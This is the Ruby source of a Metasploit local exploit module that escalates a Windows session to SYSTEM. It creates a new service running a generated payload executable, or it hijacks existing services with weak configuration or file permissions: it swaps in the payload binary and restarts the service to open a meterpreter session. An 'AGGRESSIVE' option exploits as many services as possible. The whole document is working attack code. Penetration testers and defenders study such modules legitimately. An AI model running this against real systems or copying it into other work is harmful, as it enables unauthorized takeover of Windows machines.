## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts include Msf::Exploit::EXE include Msf::Exploit::FileDropper ERROR = Msf::Post::Windows::Error def initialize(info={}) super( update_info( info, 'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation', 'Description' => %q{ This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure file or configuration permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload. This will result in a new session when this succeeds. }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], 'Arch' => [ ARCH_X86 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 15 2012" )) register_options([ OptBool.new("AGGRESSIVE", [ true, "Exploit as many services as possible (dangerous)", false ]) ]) end def execute_payload_as_new_service(path) success = false print_status("Trying to add a new service...") service_name = Rex::Text.rand_text_alpha((rand(8)+6)) if service_create(service_name, {:path => path, :display=>""}) print_status("Created service... #{service_name}") write_exe(path, service_name) if service_start(service_name) == ERROR::SUCCESS print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.") success = true end service_delete(service_name) else print_status("No privs to create a service...") success = false end return success end def weak_service_permissions(service_name, service, path) success = false vprint_status("[#{service_name}] Checking for weak service permissions") if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS) print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}") print_status("[#{service_name}] Restarting service") res = service_stop(service_name) if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) write_exe(path, service_name) if service_restart(service_name) print_good("[#{service_name}] Service restarted") success = true else print_error("[#{service_name}] Unable to restart service") end end unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS) print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}") end end return success end def weak_file_permissions(service_name, service, path, token) success = false vprint_status("[#{service_name}] Checking for weak file permissions") #get path to exe; parse out quotes and arguments original_path = service[:path] possible_path = expand_path(original_path) if (possible_path[0] == '"') possible_path = possible_path.split('"')[1] else possible_path = possible_path.split(' ')[0] end unless file?(possible_path) # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}") end file_permissions = check_dir_perms(possible_path, token) if file_permissions && file_permissions.index('W') print_good("[#{service_name}] Write access to #{possible_path}") begin status = service_status(service_name) no_access = false # Unless service is already stopped if status[:state] == SERVICE_STOPPED stopped = true else res = service_stop(service_name) stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) end rescue RuntimeError => e vprint_error("[#{service_name}] #{e} ") no_access = true end if stopped or no_access begin if move_file(possible_path, possible_path+'.bak') write_exe(possible_path, service_name) print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.") if service_restart(service_name) print_good("[#{service_name}] Service restarted") success = true else print_error("Unable to restart service") end end rescue Rex::Post::Meterpreter::RequestError => e vprint_error("[#{service_name}] #{e}") end else vprint_error("[#{service_name}] Unable to stop service") end end return success end # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to # define the correct servicename. def write_exe(path, service_name=nil) vprint_status("[#{service_name}] Writing service executable to #{path}") exe = generate_payload_exe_service({:servicename=>service_name}) write_file(path, exe) register_files_for_cleanup(path) end def exploit filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" sysdir = expand_path("%SystemRoot%") tmpdir = expand_path("%TEMP%") tempexe = tmpdir + "\\" + tempexe_name begin return if execute_payload_as_new_service(tempexe) rescue RuntimeError => e vprint_status("Unable to create a new service: #{e}") end aggressive = datastore['AGGRESSIVE'] print_status("Trying to find weak permissions in existing services..") token = get_imperstoken service_list.each do |serv| service_name = serv[:name] service = service_info(service_name) begin return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive return if weak_service_permissions(service_name, service, tempexe) and not aggressive rescue RuntimeError => e vprint_status("[#{serv[:name]}] #{e}") end end end end